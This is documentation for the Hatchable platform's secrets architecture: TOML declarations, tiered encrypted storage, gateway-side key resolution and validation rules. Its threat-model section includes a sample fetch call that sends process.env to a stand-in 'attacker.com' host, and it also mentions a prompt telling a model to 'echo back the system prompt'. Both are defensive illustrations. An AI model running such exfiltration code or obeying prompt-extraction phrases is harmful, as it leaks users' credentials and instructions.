Secrets architecture
How API keys flow through Hatchable: declared in TOML, stored encrypted across three tiers, resolved by the gateway, and never exposed to template code unless a project owner opts in. The system that makes "fork this template" safe to do with an account-level Anthropic key.
TL;DR
Templates declare what they need in hatchable.toml:
[ai]
required = true
That's it — no provider list. The platform expands to every LLM-capable provider in its catalog. The platform handles the rest:
- At deploy, validates the declaration against rules (tenancy + provider catalog).
- At first request from the project owner, redirects to
hatchable.com/console/projects/{slug}/setupif any required secret isn't satisfied. - Renders a provider picker — user selects one and pastes their key.
- Stores the value encrypted in the right table per tenancy.
- Resolves the right key server-side when the template calls
ai.generateText. - Never injects the raw value into the isolate's
process.envfor shared-tier secrets.
Templates write zero key-paste UI, zero env-status endpoints, zero save-key handlers. Declarative, platform-implemented.
The manifest
Every template's hatchable.toml can declare any number of [[secret]] blocks. At deploy time DeployService::resolveSecretsManifest validates and persists them on the project's secrets_manifest column. Downstream — the gate page, the middleware, the gateway, the SDK — all read from this single source of truth.
# A complete manifest example: AI provider (account-tier) # + Stripe (project-tier, owner's billing) + a custom integration key. [ai] # SDK capability — account-scoped, cascades across the owner's projects required = true providers = ["anthropic", "openai", "google"] description = "Pick any AI provider. Templates use the 'sonnet' alias by default." [[secret]] key = "STRIPE_SECRET_KEY" provider = "stripe" tenancy = "project" # project-only — owner's billing context required = true group = "stripe" # UI groups paired keys (publishable+secret+webhook) [[secret]] key = "MY_CUSTOM_API_KEY" provider = "custom" tenancy = "project" required = false expose = true # raw value injected into process.env (project-tier only)
Secret tenancies
The tenancy field is the most important decision in a secret declaration. It controls who sets the value, where it's stored, and how it's used.
project
Set by the project owner once
- Stored in
env_vars - Used for everyone interacting with the project
- Owner pays the bill
- Allows
expose=truefor raw access - Custom providers OK
account
Set by the Hatchable account holder
- Stored in
account_env_vars - Cascades across all the account's projects
- Single source of truth — paste once
- Always SDK-mediated, never
expose - Catalog providers only
[ai] block (and future [email] / [payments] / [sms] blocks when their SDK helpers ship) doesn't take a tenancy field — credentials always live at the buyer's account level and cascade to every project they own. The project owner pays for every call the app makes. For third-party OAuth against a known provider, declare [[api]] and let the platform run the connect flow.
When to pick each block
| Scenario | Declaration |
|---|---|
| "My app uses AI summaries (any provider works)" | [ai] required = true |
| "My app uses Gemini specifically (grounded search)" | [ai] pin = "google" |
| "My app calls Reddit / GitHub / Notion via OAuth" | [[api]] auth = "oauth2" — see connect-an-external-api |
| "My app calls Linear with a long-lived API key" | [[api]] auth = "api_key" |
| "Webhook signing secret / encryption pepper" | [[secret]] — raw app-internal value |
| "A constant my code reads (e.g., DEFAULT_MODEL)" | [[secret]] default = "..." — buyer can override |
Provider catalog
The platform maintains a catalog of well-known providers at config/secrets_providers.php. Each entry knows its display name, icon, "get a key" URL, validation regex, supported model aliases, and whether it has an SDK helper. The setup page reads the catalog to render paste forms; the gateway reads it to resolve calls.
Provider catalog — what an operator's [[secret]] can declare:
| Category | Providers | SDK helper |
|---|---|---|
| LLM | anthropic · openai · google | ai.generateText / ai.streamText / ai.embed |
| none — built-in SMTP, no provider key required | email.send | |
| Payments | stripe | (planned) |
| Communications | twilio · slack | (planned) |
| Code | github | (planned) |
| Custom | custom | n/a — project-tier only |
Catalog rule: if a provider has no sdk_helper, it can't be declared at tenancy = "account" or "user". Shared tiers exist exclusively for SDK-mediated calls. Twilio and Slack will become account-tier-eligible once their SDK helpers ship; until then they're project-tier with expose = true if raw access is needed.
Logical model names
Hardcoding raw model ids like 'claude-sonnet-4-5-20250929' couples a template to one dated version. Provider-family aliases like 'sonnet' or 'gpt' let templates ask for "the current Sonnet" by name; the platform updates the underlying mapping when a new generation lands and your code keeps working.
| Alias | Means | Resolves to (today) |
|---|---|---|
'sonnet' | Anthropic's mid-tier line | claude-sonnet-4-6 |
'haiku' | Anthropic's small/fast line | claude-haiku-4-5 |
'opus' | Anthropic's strongest reasoning line | claude-opus-4-7 |
'gpt' | OpenAI's general line | gpt-5.5 |
'gpt-mini' | OpenAI's small/fast line | gpt-5.4-mini |
'gemini' | Google's small/fast line (default) | gemini-3-flash-preview |
'gemini-pro' | Google's flagship line | gemini-3.1-pro-preview |
The gateway resolves the alias against whichever provider key the user has configured — 'sonnet' needs ANTHROPIC_API_KEY; 'gpt' needs OPENAI_API_KEY; 'gemini' needs GOOGLE_API_KEY. If the relevant provider has no key, the call returns a clear setup-required error pointing the user at the Setup page.
For "I don't care which family, use whatever the user has configured" — operators set their preferred default in the Setup page (AI_PROVIDER + AI_DEFAULT_MODEL) and call ai.generateText({}) with no model field. Cross-provider tier abstractions ('fast', 'balanced', 'smart') used to live here too but were removed — every new release from any provider re-curated a tier matrix that nobody wanted to maintain.
The three model-name forms ai.generateText accepts
// 1. Logical alias — RECOMMENDED for most templates. await ai.generateText({ model: 'sonnet', messages }); // 2. Provider-prefixed — pin to a provider. Use when you // explicitly compare providers (LLM brand monitors) or have prompts // tuned to a specific model's quirks. await ai.generateText({ model: 'anthropic.sonnet', messages }); await ai.generateText({ model: 'openai.gpt-4o', messages }); // 3. Raw model id — passes through verbatim. Locks you to that // exact version; avoid unless you have a reason. await ai.generateText({ model: 'claude-sonnet-4-5', messages });
SDK-only keys (the default)
The most important security property of Hatchable secrets: by default, declared keys never enter user code. They live on the platform's encrypted storage tables and are resolved server-side by the gateway whenever the SDK makes a call. The raw bytes are physically unreachable from any api/*.js handler — there is no process.env.ANTHROPIC_API_KEY to read, because the key was never injected into the isolate.
This isn't a convention agents have to follow. It's enforced by the deploy validator and the runtime. The four cases:
| Declaration | SDK-only? | Where the key lives |
|---|---|---|
[ai] (or any capability block) | ✓ Always | Gateway storage at account scope. No expose field on capability blocks — the gateway is the only path to the key. |
[[api]] (any auth mode) | ✓ Always | Gateway storage in api_credentials. Handler calls api.<name>.get(...); the access token is attached by the proxy and never enters the V8 isolate. |
[[secret]] + tenancy = "project" (default) | Default — yes | Project-scoped storage. Gateway-mediated by default — read via config.get('KEY'); the raw value never enters process.env. Set expose = true on the declaration when handler code legitimately needs to read process.env.KEY directly (third-party npm packages that bypass the SDK, internal HMAC signing). See the expose = true section below. |
So an agent cannot accidentally expose an AI key — there is no path. Even a malicious template can't write code that reads Alice's ANTHROPIC_API_KEY. It can call ai.generateText against Alice's key (running up her bill), but it cannot read the raw sk-ant-… string. There is no opcode in the runtime that materializes shared-tier values into the V8 isolate.
- Account-tier keys cascade across all an owner's forks — safe because they're never readable to any one fork's code.
- The provider catalog supplies regex validation, the "get a key →" deep link, and the gateway routing rules. Templates write zero bespoke key-paste code.
- Rotation is one paste in the settings UI, not a code change.
expose = true (the rare opt-out)
The single escape hatch from SDK-only-by-default. Use it when an npm library you've imported insists on reading the value off process.env directly — e.g., a custom HTTP wrapper that doesn't go through the SDK:
[[secret]] key = "MY_CUSTOM_API_KEY" tenancy = "project" # project-tier only — see structural rule below expose = true required = true
Then in handler code:
const resp = await fetch('https://my-endpoint.com/api', { headers: { 'Authorization': 'Bearer ' + process.env.MY_CUSTOM_API_KEY }, });
Reach for this when you have to. The cost: any code in your project's runtime can read process.env.MY_CUSTOM_API_KEY. If you control the entire project, that's fine. If you fork from a template that uses third-party npm packages, audit them before adding expose = true.
expose = true is only legal on tenancy = "project". Account-tier secrets cannot be exposed — that's what makes them safe to share across forks. The deploy validator rejects with a clear error if you try.
The setup gate
All secrets are managed in the console at hatchable.com/console/projects/{slug}/setup — owner-only, on a single domain, with no token-in-URL surface for sensitive values.
When the project owner visits any URL on the project's subdomain, ProjectAccessMiddleware checks whether the manifest's required project-tier and account-tier secrets are satisfied. If not, the request is redirected to hatchable.com/console/projects/{slug}/setup — the console is the single place secrets get pasted:
The gate is platform-rendered; templates ship no setup UI — "this app needs config first" is built in, the same way the platform handles project access.
What lives where
| Caller | Tier they configure | Where |
|---|---|---|
| Project owner (Hatchable account) | project + account | hatchable.com/console/projects/{slug}/setup |
Fork-time flow
Forking a template that declares tenancy = "account" for an account-tier secret is the most common pattern. The flow is designed so a frequent forker (someone who keeps trying out templates from the gallery) doesn't paste the same Anthropic key into 5 different forks:
For Alice's first template, she paste-configures her Anthropic key once. Every fork after that re-uses it transparently.
Reading values
One read API: config.get(key, opts?). Walks user → project → account → manifest default server-side and returns the first hit. The raw value never enters template code unless the secret is project-tier with expose = true.
import { config, ai } from 'hatchable'; // Gateway resolves project-then-account. const model = await config.get('DEFAULT_MODEL');
If the value is declared as required with no default and no human has pasted it, config.get throws a SetupRequired error with a setup_url. Browser-driven flows are caught by the platform's auto-injected modal runtime; non-interactive flows (cron, webhooks) handle the error explicitly.
Programmatic writes (rare)
Not every value arrives via paste. Computed values from OAuth callbacks, batch imports, or setup wizards use the SDK's env module:
import { env } from 'hatchable'; // Project-tier programmatic write (e.g. after OAuth) await env.set('STRIPE_CONNECTED_ACCOUNT', account_id); // Account-tier — cascades to all the owner's projects await env.setForAccount('ANTHROPIC_API_KEY', value); // Cleanup await env.unset('OLD_KEY'); await env.unsetForAccount('OLD_KEY');
set_env / list_env / delete_env. Build-time configuration goes in hatchable.toml via [[secret]] declarations (with a default for agent-known values, without for human-paste values). Run-time programmatic writes (OAuth callbacks etc.) use the in-app env.set SDK call, which runs inside an authenticated app handler — not from agent context.[[secret]] schema reference
[[secret]] key = "FOO_API_KEY" # env-var name — ALWAYS required tenancy = "project" # project | account | user (default project) required = false # gate fires for unsatisfied required (default false) expose = false # inject raw value into process.env (project-tier only) default = "value" # agent-provided default; satisfies even when required=true allowed = ["a", "b"] # enum constraint; override UI renders a select provider = "foo" # catalog name; required at shared (account) tier description = "…" # shown on the gate page card group = "foo" # UI groups paired keys (e.g. stripe sk + pk) unlocks = ["foo"] # freeform tags surfaced in catalog UI
[[secret]] is for app-internal raw values only. The legacy kind = "ai" / kind = "llm" form is rejected at deploy — declare AI capability with an [ai] table (required = true, optionally pin / providers) instead. See the AI SDK reference.Validation rules (deploy-time, hard-fail)
keyis required on every entry.tenancymust be one ofproject | account | user(userrequires[auth]enabled).- The legacy
kindfield (kind = "ai"/"llm"/"raw") is rejected — AI keys are declared via[ai], not[[secret]]. expose = trueonly allowed ontenancy = "project".defaultonly allowed ontenancy = "project"(account cascades).defaultmust satisfy theallowedconstraint when both are set.- An entry with a
defaultnever gates the owner — the default is the satisfaction. Override via the console setup page; override wins at read time. - For the
accounttier:provideris required, must be in the catalog, must have ansdk_helperregistered. - For
[ai]: every name inproviders(or the value ofpin) must be a catalog LLM provider with ansdk_helper. keymust not be platform-reserved (HATCHABLE_*,NODE_ENV,PATH, etc.).- Same
keycan't be declared twice in the same manifest.
SDK helpers
One read API, one (rare) write API. See the SDK config reference for full signatures.
| Helper | Use for |
|---|---|
config.get(key, opts?) | Read a declared value. Tier-resolves project-then-account. Throws SetupRequired when declared+required+unsatisfied. |
config.expose(key, opts?) | Same as get, plus mirrors the value into process.env[key]. Project-tier only. |
env.set(key, value) | Programmatic write (OAuth callbacks etc.). Runs inside an authenticated app handler — never from agent context. |
env.setForAccount(key, value) | Account-tier programmatic write (cascades) |
env.unset(key) · env.unsetForAccount(key) | Clear |
ai.generateText({ asUser, … }) | Make an AI call labeled with a caller id for usage tracking (llm_calls.user_id); the key is resolved server-side and never materialized |
Security model
The architecture's security guarantees, in order of strength:
| Layer | What it does | Strength |
|---|---|---|
| L1: Manifest-declared secrets stay server-side | Template code never holds raw values for shared-tier secrets. Gateway resolves them and makes upstream calls server-side. | Load-bearing. The wall. |
L2: expose = true forbidden on the account tier | Structural prohibition at deploy time. Account-tier secrets cannot have raw values reach the isolate. | Load-bearing. Closes the entire class of attack on shared keys. |
| L3: Catalog provider gating | Shared-tier secrets must reference a catalog provider with an SDK helper — i.e., the platform owns the call path end-to-end. | Load-bearing. No way to declare a shared-tier secret that the platform doesn't fully mediate. |
| L4: Encrypted at rest | All three storage tables use Laravel's encrypted cast. | Standard. |
| L5: Owner-gated secret writes | Project + account tier secrets are set only by the project owner via the console (Hatchable account session). | Standard. |
What this prevents
Bob publishes a template. Alice forks it. Bob's code runs in Alice's project, with Alice's identity. Bob writes:
fetch('https://attacker.com/log', { method: 'POST', body: JSON.stringify({ stolen: process.env }), });
For any account-tier secret Alice has set, process.env.X is undefined. Bob's ai.generateText calls work against Alice's account-tier key (running up her bill), but he cannot exfiltrate the raw sk-ant-… string. Alice's exposure is bounded to AI usage; her key remains hers.
What it doesn't prevent
- Bill abuse within an account-tier secret's scope. Bob can call
ai.generateTextin a loop and rack up Alice's bill. Per-fork spend caps + audit logs are deferred features, not load-bearing — when they ship they'll bound this. - Project-tier
expose = trueraw access. The owner's own code, the owner's own risk. The platform doesn't pretend to protect the owner from themselves. - Side-channel attacks within shared-tier mediation. A malicious template could submit a prompt to
ai.generateTextinstructing the model to "echo back the system prompt" — but the platform's gateway doesn't put the API key in the prompt; it goes in the HTTPAuthorizationheader. The model never sees the key.
Where to go next
configSDK reference — read declared valuesconfigSDK reference — declared-value reads with tier resolutionaiSDK reference — model names + asUser patternhatchable.tomlreference — full[[secret]]field list